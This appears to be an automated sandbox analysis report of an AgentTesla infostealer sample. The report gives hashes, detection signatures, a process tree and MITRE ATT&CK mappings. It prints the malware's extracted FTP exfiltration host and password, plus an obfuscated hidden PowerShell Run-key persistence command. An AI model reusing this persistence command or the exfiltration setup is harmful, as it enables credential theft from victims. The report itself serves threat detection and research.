Analysis
- max time kernel
150s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/09/2026, 11:07
Static task
static1
Behavioral task
behavioral1
Sample
d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb.exe
Resource
win11ltsc2024-20260709-en
General
- Target d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb.exe
- Size 1.0MB
- Sample260910-m78kkasbpg
- SHA256 d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb
- MD5 16545a0ad1db6e6e94ab3229b53bc55b
- SHA1 9b52eeb282a8084161491735f17a053571a94588
- SHA512 4fcd08108192b103fef7c7db3983da5288c85f8d1e786d1cb57c18e2b1af820a801a0ceee0132ecaaed12415a30f4339692b72a581746c92468dc2661dda0c8e
- SSDEEP 24576:Je7kKeiqLKLsfEqsTMyfLet1tGdeIJvuGxcvBXqv/Fl3dEnjP/2oSdv:E7BeincEqs4yDjeI5ugc1G7dEnb/2oS
- TLSH T1A43502483269DE02D5F25FF41860E3B453B85E88AE21E3135EE6BCDBB83A3456D156C3
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
agenttesla
-
Protocol
ftp
-
Host
ftp://ftp.vilimorin.com
-
Port
21
-
Username
-
Password
K]tflM5!L8Ux{!7P
Signatures
- Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4212 powershell.exe - Executes dropped EXE 3 IoCs
pid Process 5436 cz.exe 2000 cz.exe 6052 cz.exe - Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb.exe Key opened \REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 cz.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Run\cz = "\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"$pjhzmn=Get-Date;$urgot1=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$jtzozq=7873;$g4f0nf=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXGN6LmV4ZQ==')));$keh3ir=[System.Environment]::TickCount;& $urgot1 -FilePath $g4f0nf\"" d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb.exe - Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 5724 set thread context of 1020 5724 d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb.exe 89 PID 5436 set thread context of 6052 5436 cz.exe 96 - System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cz.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cz.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb.exe - Suspicious behavior: EnumeratesProcesses 12 IoCs
pid Process 5724 d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb.exe 5724 d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb.exe 1020 d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb.exe 1020 d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb.exe 4212 powershell.exe 4212 powershell.exe 5436 cz.exe 5436 cz.exe 5436 cz.exe 5436 cz.exe 6052 cz.exe 6052 cz.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 5724 d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb.exe Token: SeDebugPrivilege 1020 d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb.exe Token: SeDebugPrivilege 4212 powershell.exe Token: SeDebugPrivilege 5436 cz.exe Token: SeDebugPrivilege 6052 cz.exe - Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 5724 wrote to memory of 1020 5724 d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb.exe 89 PID 5724 wrote to memory of 1020 5724 d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb.exe 89 PID 5724 wrote to memory of 1020 5724 d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb.exe 89 PID 5724 wrote to memory of 1020 5724 d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb.exe 89 PID 5724 wrote to memory of 1020 5724 d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb.exe 89 PID 4212 wrote to memory of 5436 4212 powershell.exe 93 PID 5436 wrote to memory of 2000 5436 cz.exe 95 PID 5436 wrote to memory of 6052 5436 cz.exe 96 PID 5436 wrote to memory of 6052 5436 cz.exe 96 PID 5436 wrote to memory of 6052 5436 cz.exe 96 PID 5436 wrote to memory of 6052 5436 cz.exe 96 PID 5436 wrote to memory of 6052 5436 cz.exe 96 - outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 cz.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb.exe"C:\Users\Admin\AppData\Local\Temp\d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5724 -
C:\Users\Admin\AppData\Local\Temp\d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb.exe"C:\Users\Admin\AppData\Local\Temp\d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1020
-
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$pjhzmn=Get-Date;$urgot1=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$jtzozq=7873;$g4f0nf=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXGN6LmV4ZQ==')));$keh3ir=[System.Environment]::TickCount;& $urgot1 -FilePath $g4f0nf"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4212 -
C:\Users\Admin\AppData\Roaming\cz.exe"C:\Users\Admin\AppData\Roaming\cz.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5436 -
C:\Users\Admin\AppData\Roaming\cz.exe"C:\Users\Admin\AppData\Roaming\cz.exe"3⤵
- Executes dropped EXE
PID:2000
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-
C:\Users\Admin\AppData\Roaming\cz.exe"C:\Users\Admin\AppData\Roaming\cz.exe"3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
PID:6052
-
-
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Roaming\cz.exe
- Size 1.0MB
- SHA256 d9132b00839f05a34f9b8c3a88fe7fc63d5d78124b87bacb77adbf2df66d33eb
- MD5 16545a0ad1db6e6e94ab3229b53bc55b
- SHA1 9b52eeb282a8084161491735f17a053571a94588
- SHA512 4fcd08108192b103fef7c7db3983da5288c85f8d1e786d1cb57c18e2b1af820a801a0ceee0132ecaaed12415a30f4339692b72a581746c92468dc2661dda0c8e
- SSDEEP 24576:Je7kKeiqLKLsfEqsTMyfLet1tGdeIJvuGxcvBXqv/Fl3dEnjP/2oSdv:E7BeincEqs4yDjeI5ugc1G7dEnb/2oS
- TLSH T1A43502483269DE02D5F25FF41860E3B453B85E88AE21E3135EE6BCDBB83A3456D156C3
- MD5 SHA1 SHA512 SSDEEP TLSH